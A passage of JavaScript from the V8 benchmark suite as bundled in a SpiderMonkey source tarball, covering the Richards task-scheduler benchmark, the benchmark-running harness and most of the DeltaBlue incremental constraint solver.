scheduler. * @param {int} id the identity of the task * @param {int} priority the task's priority * @param {Packet} queue the queue of work to be processed by the task */ Scheduler.prototype.addHandlerTask = function (id, priority, queue) { this.addTask(id, priority, queue, new HandlerTask(this)); }; /** * Add a handler task to this scheduler. * @param {int} id the identity of the task * @param {int} priority the task's priority * @param {Packet} queue the queue of work to be processed by the task */ Scheduler.prototype.addDeviceTask = function (id, priority, queue) { this.addTask(id, priority, queue, new DeviceTask(this)) }; /** * Add the specified task and mark it as running. * @param {int} id the identity of the task * @param {int} priority the task's priority * @param {Packet} queue the queue of work to be processed by the task * @param {Task} task the task to add */ Scheduler.prototype.addRunningTask = function (id, priority, queue, task) { this.addTask(id, priority, queue, task); this.currentTcb.setRunning(); }; /** * Add the specified task to this scheduler. * @param {int} id the identity of the task * @param {int} priority the task's priority * @param {Packet} queue the queue of work to be processed by the task * @param {Task} task the task to add */ Scheduler.prototype.addTask = function (id, priority, queue, task) { this.currentTcb = new TaskControlBlock(this.list, id, priority, queue, task); this.list = this.currentTcb; this.blocks[id] = this.currentTcb; }; /** * Execute the tasks managed by this scheduler. */ Scheduler.prototype.schedule = function () { this.currentTcb = this.list; while (this.currentTcb != null) { if (this.currentTcb.isHeldOrSuspended()) { this.currentTcb = this.currentTcb.link; } else { this.currentId = this.currentTcb.id; this.currentTcb = this.currentTcb.run(); } } }; /** * Release a task that is currently blocked and return the next block to run. * @param {int} id the id of the task to suspend */ Scheduler.prototype.release = function (id) { var tcb = this.blocks[id]; if (tcb == null) return tcb; tcb.markAsNotHeld(); if (tcb.priority > this.currentTcb.priority) { return tcb; } else { return this.currentTcb; } }; /** * Block the currently executing task and return the next task control block * to run. The blocked task will not be made runnable until it is explicitly * released, even if new work is added to it. */ Scheduler.prototype.holdCurrent = function () { this.holdCount++; this.currentTcb.markAsHeld(); return this.currentTcb.link; }; /** * Suspend the currently executing task and return the next task control block * to run. If new work is added to the suspended task it will be made runnable. */ Scheduler.prototype.suspendCurrent = function () { this.currentTcb.markAsSuspended(); return this.currentTcb; }; /** * Add the specified packet to the end of the worklist used by the task * associated with the packet and make the task runnable if it is currently * suspended. * @param {Packet} packet the packet to add */ Scheduler.prototype.queue = function (packet) { var t = this.blocks[packet.id]; if (t == null) return t; this.queueCount++; packet.link = null; packet.id = this.currentId; return t.checkPriorityAdd(this.currentTcb, packet); }; /** * A task control block manages a task and the queue of work packages associated * with it. * @param {TaskControlBlock} link the preceding block in the linked block list * @param {int} id the id of this block * @param {int} priority the priority of this block * @param {Packet} queue the queue of packages to be processed by the task * @param {Task} task the task * @constructor */ function TaskControlBlock(link, id, priority, queue, task) { this.link = link; this.id = id; this.priority = priority; this.queue = queue; this.task = task; if (queue == null) { this.state = STATE_SUSPENDED; } else { this.state = STATE_SUSPENDED_RUNNABLE; } } /** * The task is running and is currently scheduled. */ var STATE_RUNNING = 0; /** * The task has packets left to process. */ var STATE_RUNNABLE = 1; /** * The task is not currently running. The task is not blocked as such and may * be started by the scheduler. */ var STATE_SUSPENDED = 2; /** * The task is blocked and cannot be run until it is explicitly released. */ var STATE_HELD = 4; var STATE_SUSPENDED_RUNNABLE = STATE_SUSPENDED | STATE_RUNNABLE; var STATE_NOT_HELD = ~STATE_HELD; TaskControlBlock.prototype.setRunning = function () { this.state = STATE_RUNNING; }; TaskControlBlock.prototype.markAsNotHeld = function () { this.state = this.state & STATE_NOT_HELD; }; TaskControlBlock.prototype.markAsHeld = function () { this.state = this.state | STATE_HELD; }; TaskControlBlock.prototype.isHeldOrSuspended = function () { return (this.state & STATE_HELD) != 0 || (this.state == STATE_SUSPENDED); }; TaskControlBlock.prototype.markAsSuspended = function () { this.state = this.state | STATE_SUSPENDED; }; TaskControlBlock.prototype.markAsRunnable = function () { this.state = this.state | STATE_RUNNABLE; }; /** * Runs this task, if it is ready to be run, and returns the next task to run. */ TaskControlBlock.prototype.run = function () { var packet; if (this.state == STATE_SUSPENDED_RUNNABLE) { packet = this.queue; this.queue = packet.link; if (this.queue == null) { this.state = STATE_RUNNING; } else { this.state = STATE_RUNNABLE; } } else { packet = null; } return this.task.run(packet); }; /** * Adds a packet to the worklist of this block's task, marks this as runnable if * necessary, and returns the next runnable object to run (the one * with the highest priority). */ TaskControlBlock.prototype.checkPriorityAdd = function (task, packet) { if (this.queue == null) { this.queue = packet; this.markAsRunnable(); if (this.priority > task.priority) return this; } else { this.queue = packet.addTo(this.queue); } return task; }; TaskControlBlock.prototype.toString = function () { return "tcb { " + this.task + "@" + this.state + " }"; }; /** * An idle task doesn't do any work itself but cycles control between the two * device tasks. * @param {Scheduler} scheduler the scheduler that manages this task * @param {int} v1 a seed value that controls how the device tasks are scheduled * @param {int} count the number of times this task should be scheduled * @constructor */ function IdleTask(scheduler, v1, count) { this.scheduler = scheduler; this.v1 = v1; this.count = count; } IdleTask.prototype.run = function (packet) { this.count--; if (this.count == 0) return this.scheduler.holdCurrent(); if ((this.v1 & 1) == 0) { this.v1 = this.v1 >> 1; return this.scheduler.release(ID_DEVICE_A); } else { this.v1 = (this.v1 >> 1) ^ 0xD008; return this.scheduler.release(ID_DEVICE_B); } }; IdleTask.prototype.toString = function () { return "IdleTask" }; /** * A task that suspends itself after each time it has been run to simulate * waiting for data from an external device. * @param {Scheduler} scheduler the scheduler that manages this task * @constructor */ function DeviceTask(scheduler) { this.scheduler = scheduler; this.v1 = null; } DeviceTask.prototype.run = function (packet) { if (packet == null) { if (this.v1 == null) return this.scheduler.suspendCurrent(); var v = this.v1; this.v1 = null; return this.scheduler.queue(v); } else { this.v1 = packet; return this.scheduler.holdCurrent(); } }; DeviceTask.prototype.toString = function () { return "DeviceTask"; }; /** * A task that manipulates work packets. * @param {Scheduler} scheduler the scheduler that manages this task * @param {int} v1 a seed used to specify how work packets are manipulated * @param {int} v2 another seed used to specify how work packets are manipulated * @constructor */ function WorkerTask(scheduler, v1, v2) { this.scheduler = scheduler; this.v1 = v1; this.v2 = v2; } WorkerTask.prototype.run = function (packet) { if (packet == null) { return this.scheduler.suspendCurrent(); } else { if (this.v1 == ID_HANDLER_A) { this.v1 = ID_HANDLER_B; } else { this.v1 = ID_HANDLER_A; } packet.id = this.v1; packet.a1 = 0; for (var i = 0; i < DATA_SIZE; i++) { this.v2++; if (this.v2 > 26) this.v2 = 1; packet.a2[i] = this.v2; } return this.scheduler.queue(packet); } }; WorkerTask.prototype.toString = function () { return "WorkerTask"; }; /** * A task that manipulates work packets and then suspends itself. * @param {Scheduler} scheduler the scheduler that manages this task * @constructor */ function HandlerTask(scheduler) { this.scheduler = scheduler; this.v1 = null; this.v2 = null; } HandlerTask.prototype.run = function (packet) { if (packet != null) { if (packet.kind == KIND_WORK) { this.v1 = packet.addTo(this.v1); } else { this.v2 = packet.addTo(this.v2); } } if (this.v1 != null) { var count = this.v1.a1; var v; if (count < DATA_SIZE) { if (this.v2 != null) { v = this.v2; this.v2 = this.v2.link; v.a1 = this.v1.a2[count]; this.v1.a1 = count + 1; return this.scheduler.queue(v); } } else { v = this.v1; this.v1 = this.v1.link; return this.scheduler.queue(v); } } return this.scheduler.suspendCurrent(); }; HandlerTask.prototype.toString = function () { return "HandlerTask"; }; /* --- * * P a c k e t * --- */ var DATA_SIZE = 4; /** * A simple package of data that is manipulated by the tasks. The exact layout * of the payload data carried by a packet is not importaint, and neither is the * nature of the work performed on packets by the tasks. * * Besides carrying data, packets form linked lists and are hence used both as * data and worklists. * @param {Packet} link the tail of the linked list of packets * @param {int} id an ID for this packet * @param {int} kind the type of this packet * @constructor */ function Packet(link, id, kind) { this.link = link; this.id = id; this.kind = kind; this.a1 = 0; this.a2 = new Array(DATA_SIZE); } /** * Add this packet to the end of a worklist, and return the worklist. * @param {Packet} queue the worklist to add this packet to */ Packet.prototype.addTo = function (queue) { this.link = null; if (queue == null) return this; var peek, next = queue; while ((peek = next.link) != null) next = peek; next.link = this; return queue; }; Packet.prototype.toString = function () { return "Packet"; }; mozjs17.0.0/js/src/metrics/jint/v8/deltablue.js0000664000175000017500000010463012106270663021256 0ustar sstanglsstangl// Copyright 2008 the V8 project authors. All rights reserved. // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following // disclaimer in the documentation and/or other materials provided // with the distribution. // * Neither the name of Google Inc. nor the names of its // contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // Simple framework for running the benchmark suites and // computing a score based on the timing measurements. // A benchmark has a name (string) and a function that will be run to // do the performance measurement. The optional setup and tearDown // arguments are functions that will be invoked before and after // running the benchmark, but the running time of these functions will // not be accounted for in the benchmark score. function Benchmark(name, run, setup, tearDown) { this.name = name; this.run = run; this.Setup = setup ? setup : function() { }; this.TearDown = tearDown ? tearDown : function() { }; } // Benchmark results hold the benchmark and the measured time used to // run the benchmark. The benchmark score is computed later once a // full benchmark suite has run to completion. function BenchmarkResult(benchmark, time) { this.benchmark = benchmark; this.time = time; } // Automatically convert results to numbers. Used by the geometric // mean computation. BenchmarkResult.prototype.valueOf = function() { return this.time; } // Suites of benchmarks consist of a name and the set of benchmarks in // addition to the reference timing that the final score will be based // on. This way, all scores are relative to a reference run and higher // scores implies better performance. function BenchmarkSuite(name, reference, benchmarks) { this.name = name; this.reference = reference; this.benchmarks = benchmarks; BenchmarkSuite.suites.push(this); } // Keep track of all declared benchmark suites. BenchmarkSuite.suites = []; // Scores are not comparable across versions. Bump the version if // you're making changes that will affect that scores, e.g. if you add // a new benchmark or change an existing one. BenchmarkSuite.version = '5'; // To make the benchmark results predictable, we replace Math.random // with a 100% deterministic alternative. Math.random = (function() { var seed = 49734321; return function() { // Robert Jenkins' 32 bit integer hash function. seed = ((seed + 0x7ed55d16) + (seed << 12)) & 0xffffffff; seed = ((seed ^ 0xc761c23c) ^ (seed >>> 19)) & 0xffffffff; seed = ((seed + 0x165667b1) + (seed << 5)) & 0xffffffff; seed = ((seed + 0xd3a2646c) ^ (seed << 9)) & 0xffffffff; seed = ((seed + 0xfd7046c5) + (seed << 3)) & 0xffffffff; seed = ((seed ^ 0xb55a4f09) ^ (seed >>> 16)) & 0xffffffff; return (seed & 0xfffffff) / 0x10000000; }; })(); // Runs all registered benchmark suites and optionally yields between // each individual benchmark to avoid running for too long in the // context of browsers. Once done, the final score is reported to the // runner. BenchmarkSuite.RunSuites = function(runner) { var continuation = null; var suites = BenchmarkSuite.suites; var length = suites.length; BenchmarkSuite.scores = []; var index = 0; function RunStep() { while (continuation || index < length) { if (continuation) { continuation = continuation(); } else { var suite = suites[index++]; if (runner.NotifyStart) runner.NotifyStart(suite.name); continuation = suite.RunStep(runner); } if (continuation && typeof window != 'undefined' && window.setTimeout) { window.setTimeout(RunStep, 25); return; } } if (runner.NotifyScore) { var score = BenchmarkSuite.GeometricMean(BenchmarkSuite.scores); var formatted = BenchmarkSuite.FormatScore(100 * score); runner.NotifyScore(formatted); } } RunStep(); } // Counts the total number of registered benchmarks. Useful for // showing progress as a percentage. BenchmarkSuite.CountBenchmarks = function() { var result = 0; var suites = BenchmarkSuite.suites; for (var i = 0; i < suites.length; i++) { result += suites[i].benchmarks.length; } return result; } // Computes the geometric mean of a set of numbers. BenchmarkSuite.GeometricMean = function(numbers) { var log = 0; for (var i = 0; i < numbers.length; i++) { log += Math.log(numbers[i]); } return Math.pow(Math.E, log / numbers.length); } // Converts a score value to a string with at least three significant // digits. BenchmarkSuite.FormatScore = function(value) { if (value > 100) { return value.toFixed(0); } else { return value.toPrecision(3); } } // Notifies the runner that we're done running a single benchmark in // the benchmark suite. This can be useful to report progress. BenchmarkSuite.prototype.NotifyStep = function(result) { this.results.push(result); if (this.runner.NotifyStep) this.runner.NotifyStep(result.benchmark.name); } // Notifies the runner that we're done with running a suite and that // we have a result which can be reported to the user if needed. BenchmarkSuite.prototype.NotifyResult = function() { var mean = BenchmarkSuite.GeometricMean(this.results); var score = this.reference / mean; BenchmarkSuite.scores.push(score); if (this.runner.NotifyResult) { var formatted = BenchmarkSuite.FormatScore(100 * score); this.runner.NotifyResult(this.name, formatted); } } // Notifies the runner that running a benchmark resulted in an error. BenchmarkSuite.prototype.NotifyError = function(error) { if (this.runner.NotifyError) { this.runner.NotifyError(this.name, error); } if (this.runner.NotifyStep) { this.runner.NotifyStep(this.name); } } // Runs a single benchmark for at least a second and computes the // average time it takes to run a single iteration. BenchmarkSuite.prototype.RunSingleBenchmark = function(benchmark) { var elapsed = 0; var start = new Date(); for (var n = 0; elapsed < 200; n++) { benchmark.run(); elapsed = new Date() - start; } var usec = (elapsed * 1000) / n; this.NotifyStep(new BenchmarkResult(benchmark, usec)); } // This function starts running a suite, but stops between each // individual benchmark in the suite and returns a continuation // function which can be invoked to run the next benchmark. Once the // last benchmark has been executed, null is returned. BenchmarkSuite.prototype.RunStep = function(runner) { this.results = []; this.runner = runner; var length = this.benchmarks.length; var index = 0; var suite = this; // Run the setup, the actual benchmark, and the tear down in three // separate steps to allow the framework to yield between any of the // steps. function RunNextSetup() { if (index < length) { try { suite.benchmarks[index].Setup(); } catch (e) { suite.NotifyError(e); return null; } return RunNextBenchmark; } suite.NotifyResult(); return null; } function RunNextBenchmark() { try { suite.RunSingleBenchmark(suite.benchmarks[index]); } catch (e) { suite.NotifyError(e); return null; } return RunNextTearDown; } function RunNextTearDown() { try { suite.benchmarks[index++].TearDown(); } catch (e) { suite.NotifyError(e); return null; } return RunNextSetup; } // Start out running the setup. return RunNextSetup(); } // Copyright 2008 Google Inc. All Rights Reserved. // Copyright 1996 John Maloney and Mario Wolczko. // This program is free software; you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation; either version 2 of the License, or // (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with this program; if not, write to the Free Software // Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA // This implementation of the DeltaBlue benchmark is derived // from the Smalltalk implementation by John Maloney and Mario // Wolczko. Some parts have been translated directly, whereas // others have been modified more aggresively to make it feel // more like a JavaScript program. var DeltaBlue = new BenchmarkSuite('DeltaBlue', 71104, [ new Benchmark('DeltaBlue', deltaBlue) ]); /** * A JavaScript implementation of the DeltaBlue constrain-solving * algorithm, as described in: * * "The DeltaBlue Algorithm: An Incremental Constraint Hierarchy Solver" * Bjorn N. Freeman-Benson and John Maloney * January 1990 Communications of the ACM, * also available as University of Washington TR 89-08-06. * * Beware: this benchmark is written in a grotesque style where * the constraint model is built by side-effects from constructors. * I've kept it this way to avoid deviating too much from the original * implementation. */ /* --- O b j e c t M o d e l --- */ Object.prototype.inherits = function (shuper) { function Inheriter() { } Inheriter.prototype = shuper.prototype; this.prototype = new Inheriter(); this.superConstructor = shuper; } function OrderedCollection() { this.elms = new Array(); } OrderedCollection.prototype.add = function (elm) { this.elms.push(elm); } OrderedCollection.prototype.at = function (index) { return this.elms[index]; } OrderedCollection.prototype.size = function () { return this.elms.length; } OrderedCollection.prototype.removeFirst = function () { return this.elms.pop(); } OrderedCollection.prototype.remove = function (elm) { var index = 0, skipped = 0; /* BEGIN LOOP */ for (var i = 0; i < this.elms.length; i++) { var value = this.elms[i]; if (value != elm) { this.elms[index] = value; index++; } else { skipped++; } } /* END LOOP */ /* BEGIN LOOP */ for (var i = 0; i < skipped; i++) this.elms.pop(); /* END LOOP */ } /* --- * * S t r e n g t h * --- */ /** * Strengths are used to measure the relative importance of constraints. * New strengths may be inserted in the strength hierarchy without * disrupting current constraints. Strengths cannot be created outside * this class, so pointer comparison can be used for value comparison. */ function Strength(strengthValue, name) { this.strengthValue = strengthValue; this.name = name; } Strength.stronger = function (s1, s2) { return s1.strengthValue < s2.strengthValue; } Strength.weaker = function (s1, s2) { return s1.strengthValue > s2.strengthValue; } Strength.weakestOf = function (s1, s2) { return this.weaker(s1, s2) ? s1 : s2; } Strength.strongest = function (s1, s2) { return this.stronger(s1, s2) ? s1 : s2; } Strength.prototype.nextWeaker = function () { switch (this.strengthValue) { case 0: return Strength.WEAKEST; case 1: return Strength.WEAK_DEFAULT; case 2: return Strength.NORMAL; case 3: return Strength.STRONG_DEFAULT; case 4: return Strength.PREFERRED; case 5: return Strength.REQUIRED; } } // Strength constants. Strength.REQUIRED = new Strength(0, "required"); Strength.STONG_PREFERRED = new Strength(1, "strongPreferred"); Strength.PREFERRED = new Strength(2, "preferred"); Strength.STRONG_DEFAULT = new Strength(3, "strongDefault"); Strength.NORMAL = new Strength(4, "normal"); Strength.WEAK_DEFAULT = new Strength(5, "weakDefault"); Strength.WEAKEST = new Strength(6, "weakest"); /* --- * * C o n s t r a i n t * --- */ /** * An abstract class representing a system-maintainable relationship * (or "constraint") between a set of variables. A constraint supplies * a strength instance variable; concrete subclasses provide a means * of storing the constrained variables and other information required * to represent a constraint. */ function Constraint(strength) { this.strength = strength; } /** * Activate this constraint and attempt to satisfy it. */ Constraint.prototype.addConstraint = function () { this.addToGraph(); planner.incrementalAdd(this); } /** * Attempt to find a way to enforce this constraint. If successful, * record the solution, perhaps modifying the current dataflow * graph. Answer the constraint that this constraint overrides, if * there is one, or nil, if there isn't. * Assume: I am not already satisfied. */ Constraint.prototype.satisfy = function (mark) { this.chooseMethod(mark); if (!this.isSatisfied()) { if (this.strength == Strength.REQUIRED) alert("Could not satisfy a required constraint!"); return null; } this.markInputs(mark); var out = this.output(); var overridden = out.determinedBy; if (overridden != null) overridden.markUnsatisfied(); out.determinedBy = this; if (!planner.addPropagate(this, mark)) alert("Cycle encountered"); out.mark = mark; return overridden; } Constraint.prototype.destroyConstraint = function () { if (this.isSatisfied()) planner.incrementalRemove(this); else this.removeFromGraph(); } /** * Normal constraints are not input constraints. An input constraint * is one that depends on external state, such as the mouse, the * keybord, a clock, or some arbitraty piece of imperative code. */ Constraint.prototype.isInput = function () { return false; } /* --- * * U n a r y C o n s t r a i n t * --- */ /** * Abstract superclass for constraints having a single possible output * variable. */ function UnaryConstraint(v, strength) { UnaryConstraint.superConstructor.call(this, strength); this.myOutput = v; this.satisfied = false; this.addConstraint(); } UnaryConstraint.inherits(Constraint); /** * Adds this constraint to the constraint graph */ UnaryConstraint.prototype.addToGraph = function () { this.myOutput.addConstraint(this); this.satisfied = false; } /** * Decides if this constraint can be satisfied and records that * decision. */ UnaryConstraint.prototype.chooseMethod = function (mark) { this.satisfied = (this.myOutput.mark != mark) && Strength.stronger(this.strength, this.myOutput.walkStrength); } /** * Returns true if this constraint is satisfied in the current solution. */ UnaryConstraint.prototype.isSatisfied = function () { return this.satisfied; } UnaryConstraint.prototype.markInputs = function (mark) { // has no inputs } /** * Returns the current output variable. */ UnaryConstraint.prototype.output = function () { return this.myOutput; } /** * Calculate the walkabout strength, the stay flag, and, if it is * 'stay', the value for the current output of this constraint. Assume * this constraint is satisfied. */ UnaryConstraint.prototype.recalculate = function () { this.myOutput.walkStrength = this.strength; this.myOutput.stay = !this.isInput(); if (this.myOutput.stay) this.execute(); // Stay optimization } /** * Records that this constraint is unsatisfied */ UnaryConstraint.prototype.markUnsatisfied = function () { this.satisfied = false; } UnaryConstraint.prototype.inputsKnown = function () { return true; } UnaryConstraint.prototype.removeFromGraph = function () { if (this.myOutput != null) this.myOutput.removeConstraint(this); this.satisfied = false; } /* --- * * S t a y C o n s t r a i n t * --- */ /** * Variables that should, with some level of preference, stay the same. * Planners may exploit the fact that instances, if satisfied, will not * change their output during plan execution. This is called "stay * optimization". */ function StayConstraint(v, str) { StayConstraint.superConstructor.call(this, v, str); } StayConstraint.inherits(UnaryConstraint); StayConstraint.prototype.execute = function () { // Stay constraints do nothing } /* --- * * E d i t C o n s t r a i n t * --- */ /** * A unary input constraint used to mark a variable that the client * wishes to change. */ function EditConstraint(v, str) { EditConstraint.superConstructor.call(this, v, str); } EditConstraint.inherits(UnaryConstraint); /** * Edits indicate that a variable is to be changed by imperative code. */ EditConstraint.prototype.isInput = function () { return true; } EditConstraint.prototype.execute = function () { // Edit constraints do nothing } /* --- * * B i n a r y C o n s t r a i n t * --- */ var Direction = new Object(); Direction.NONE = 0; Direction.FORWARD = 1; Direction.BACKWARD = -1; /** * Abstract superclass for constraints having two possible output * variables. */ function BinaryConstraint(var1, var2, strength) { BinaryConstraint.superConstructor.call(this, strength); this.v1 = var1; this.v2 = var2; this.direction = Direction.NONE; this.addConstraint(); } BinaryConstraint.inherits(Constraint); /** * Decides if this constratint can be satisfied and which way it * should flow based on the relative strength of the variables related, * and record that decision. */ BinaryConstraint.prototype.chooseMethod = function (mark) { if (this.v1.mark == mark) { this.direction = (this.v1.mark != mark && Strength.stronger(this.strength, this.v2.walkStrength)) ? Direction.FORWARD : Direction.NONE; } if (this.v2.mark == mark) { this.direction = (this.v1.mark != mark && Strength.stronger(this.strength, this.v1.walkStrength)) ? Direction.BACKWARD : Direction.NONE; } if (Strength.weaker(this.v1.walkStrength, this.v2.walkStrength)) { this.direction = Strength.stronger(this.strength, this.v1.walkStrength) ? Direction.BACKWARD : Direction.NONE; } else { this.direction = Strength.stronger(this.strength, this.v2.walkStrength) ? Direction.FORWARD : Direction.BACKWARD } } /** * Add this constraint to the constraint graph */ BinaryConstraint.prototype.addToGraph = function () { this.v1.addConstraint(this); this.v2.addConstraint(this); this.direction = Direction.NONE; } /** * Answer true if this constraint is satisfied in the current solution. */ BinaryConstraint.prototype.isSatisfied = function () { return this.direction != Direction.NONE; } /** * Mark the input variable with the given mark. */ BinaryConstraint.prototype.markInputs = function (mark) { this.input().mark = mark; } /** * Returns the current input variable */ BinaryConstraint.prototype.input = function () { return (this.direction == Direction.FORWARD) ? this.v1 : this.v2; } /** * Returns the current output variable */ BinaryConstraint.prototype.output = function () { return (this.direction == Direction.FORWARD) ? this.v2 : this.v1; } /** * Calculate the walkabout strength, the stay flag, and, if it is * 'stay', the value for the current output of this * constraint. Assume this constraint is satisfied. */ BinaryConstraint.prototype.recalculate = function () { var ihn = this.input(), out = this.output(); out.walkStrength = Strength.weakestOf(this.strength, ihn.walkStrength); out.stay = ihn.stay; if (out.stay) this.execute(); } /** * Record the fact that this constraint is unsatisfied. */ BinaryConstraint.prototype.markUnsatisfied = function () { this.direction = Direction.NONE; } BinaryConstraint.prototype.inputsKnown = function (mark) { var i = this.input(); return i.mark == mark || i.stay || i.determinedBy == null; } BinaryConstraint.prototype.removeFromGraph = function () { if (this.v1 != null) this.v1.removeConstraint(this); if (this.v2 != null) this.v2.removeConstraint(this); this.direction = Direction.NONE; } /* --- * * S c a l e C o n s t r a i n t * --- */ /** * Relates two variables by the linear scaling relationship: "v2 = * (v1 * scale) + offset". Either v1 or v2 may be changed to maintain * this relationship but the scale factor and offset are considered * read-only. */ function ScaleConstraint(src, scale, offset, dest, strength) { this.direction = Direction.NONE; this.scale = scale; this.offset = offset; ScaleConstraint.superConstructor.call(this, src, dest, strength); } ScaleConstraint.inherits(BinaryConstraint); /** * Adds this constraint to the constraint graph. */ ScaleConstraint.prototype.addToGraph = function () { ScaleConstraint.superConstructor.prototype.addToGraph.call(this); this.scale.addConstraint(this); this.offset.addConstraint(this); } ScaleConstraint.prototype.removeFromGraph = function () { ScaleConstraint.superConstructor.prototype.removeFromGraph.call(this); if (this.scale != null) this.scale.removeConstraint(this); if (this.offset != null) this.offset.removeConstraint(this); } ScaleConstraint.prototype.markInputs = function (mark) { ScaleConstraint.superConstructor.prototype.markInputs.call(this, mark); this.scale.mark = this.offset.mark = mark; } /** * Enforce this constraint. Assume that it is satisfied. */ ScaleConstraint.prototype.execute = function () { if (this.direction == Direction.FORWARD) { this.v2.value = this.v1.value * this.scale.value + this.offset.value; } else { this.v1.value = (this.v2.value - this.offset.value) / this.scale.value; } } /** * Calculate the walkabout strength, the stay flag, and, if it is * 'stay', the value for the current output of this constraint. Assume * this constraint is satisfied. */ ScaleConstraint.prototype.recalculate = function () { var ihn = this.input(), out = this.output(); out.walkStrength = Strength.weakestOf(this.strength, ihn.walkStrength); out.stay = ihn.stay && this.scale.stay && this.offset.stay; if (out.stay) this.execute(); } /* --- * * E q u a l i t y C o n s t r a i n t * --- */ /** * Constrains two variables to have the same value. */ function EqualityConstraint(var1, var2, strength) { EqualityConstraint.superConstructor.call(this, var1, var2, strength); } EqualityConstraint.inherits(BinaryConstraint); /** * Enforce this constraint. Assume that it is satisfied. */ EqualityConstraint.prototype.execute = function () { this.output().value = this.input().value; } /* --- * * V a r i a b l e * --- */ /** * A constrained variable. In addition to its value, it maintain the * structure of the constraint graph, the current dataflow graph, and * various parameters of interest to the DeltaBlue incremental * constraint solver. **/ function Variable(name, initialValue) { this.value = initialValue || 0; this.constraints = new OrderedCollection(); this.determinedBy = null; this.mark = 0; this.walkStrength = Strength.WEAKEST; this.stay = true; this.name = name; } /** * Add the given constraint to the set of all constraints that refer * this variable. */ Variable.prototype.addConstraint = function (c) { this.constraints.add(c); } /** * Removes all traces of c from this variable. */ Variable.prototype.removeConstraint = function (c) { this.constraints.remove(c); if (this.determinedBy == c) this.determinedBy = null; } /* --- * * P l a n n e r * --- */ /** * The DeltaBlue planner */ function Planner() { this.currentMark = 0; } /** * Attempt to satisfy the given constraint and, if successful, * incrementally update the dataflow graph. Details: If satifying * the constraint is successful, it may override a weaker constraint * on its output. The algorithm attempts to resatisfy that * constraint using some other method. This process is repeated * until either a) it reaches a variable that was not previously * determined by any constraint or b) it reaches a constraint that * is too weak to be satisfied using any of its methods. The * variables of constraints that have been processed are marked with * a unique mark value so that we know where we've been. This allows * the algorithm to avoid getting into an infinite loop even if the * constraint graph has an inadvertent cycle. */ Planner.prototype.incrementalAdd = function (c) { var mark = this.newMark(); var overridden = c.satisfy(mark); /* BEGIN LOOP */ while (overridden != null) overridden = overridden.satisfy(mark); /* END LOOP */ } /** * Entry point for retracting a constraint. Remove the given * constraint and incrementally update the dataflow graph. * Details: Retracting the given constraint may allow some currently * unsatisfiable downstream constraint to be satisfied. We therefore collect * a list of unsatisfied downstream constraints and attempt to * satisfy each one in turn. This list is traversed by constraint * strength, strongest first, as a heuristic for avoiding * unnecessarily adding and then overriding weak constraints. * Assume: c is satisfied. */ Planner.prototype.incrementalRemove = function (c) { var out = c.output(); c.markUnsatisfied(); c.removeFromGraph(); var unsatisfied = this.removePropagateFrom(out); var strength = Strength.REQUIRED; /* BEGIN LOOP */ do { /* BEGIN LOOP */ for (var i = 0; i < unsatisfied.size(); i++) { var u = unsatisfied.at(i); if (u.strength == strength) this.incrementalAdd(u); } /* END LOOP */ strength = strength.nextWeaker(); } while (strength != Strength.WEAKEST); /* END LOOP */ } /** * Select a previously unused mark value. */ Planner.prototype.newMark = function () { return ++this.currentMark; } /** * Extract a plan for resatisfaction starting from the given source * constraints, usually a set of input constraints. This method * assumes that stay optimization is desired; the plan will contain * only constraints whose output variables are not stay. Constraints * that do no computation, such as stay and edit constraints, are * not included in the plan. * Details: The outputs of a constraint are marked when it is added * to the plan under construction. A constraint may be appended to * the plan when all its input variables are known. A variable is * known if either a) the variable is marked (indicating that has * been computed by a constraint appearing earlier in the plan), b) * the variable is 'stay' (i.e. it is a constant at plan execution * time), or c) the variable is not determined by any * constraint. The last provision is for past states of history * variables, which are not stay but which are also not computed by * any constraint. * Assume: sources are all satisfied. */ Planner.prototype.makePlan = function (sources) { var mark = this.newMark(); var plan = new Plan(); var todo = sources; /* BEGIN LOOP */ while (todo.size() > 0) { var c = todo.removeFirst(); if (c.output().mark != mark && c.inputsKnown(mark)) { plan.addConstraint(c); c.output().mark = mark; this.addConstraintsConsumingTo(c.output(), todo); } } /* END LOOP */ return plan; } /** * Extract a plan for resatisfying starting from the output of the * given constraints, usually a set of input constraints. */ Planner.prototype.extractPlanFromConstraints = function (constraints) { var sources = new OrderedCollection(); /* BEGIN LOOP */ for (var i = 0; i < constraints.size(); i++) { var c = constraints.at(i); if (c.isInput() && c.isSatisfied()) // not in plan already and eligible for inclusion sources.add(c); } /* END LOOP */ return this.makePlan(sources); } /** * Recompute the walkabout strengths and stay flags of all variables * downstream of the given constraint and recompute the actual * values of all variables whose stay flag is true. If a cycle is * detected, remove the given constraint and answer * false. Otherwise, answer true. * Details: Cycles are detected when a marked variable is * encountered downstream of the given constraint. The sender is * assumed to have marked the inputs of the given constraint with * the given mark. Thus, encountering a marked node downstream of * the output constraint means that there is a path from the * constraint's output to one of its inputs. */ Planner.prototype.addPropagate = function (c, mark) { var todo = new OrderedCollection(); todo.add(c); /* BEGIN LOOP */ while (todo.size() > 0) { var d = todo.removeFirst(); if (d.output().mark 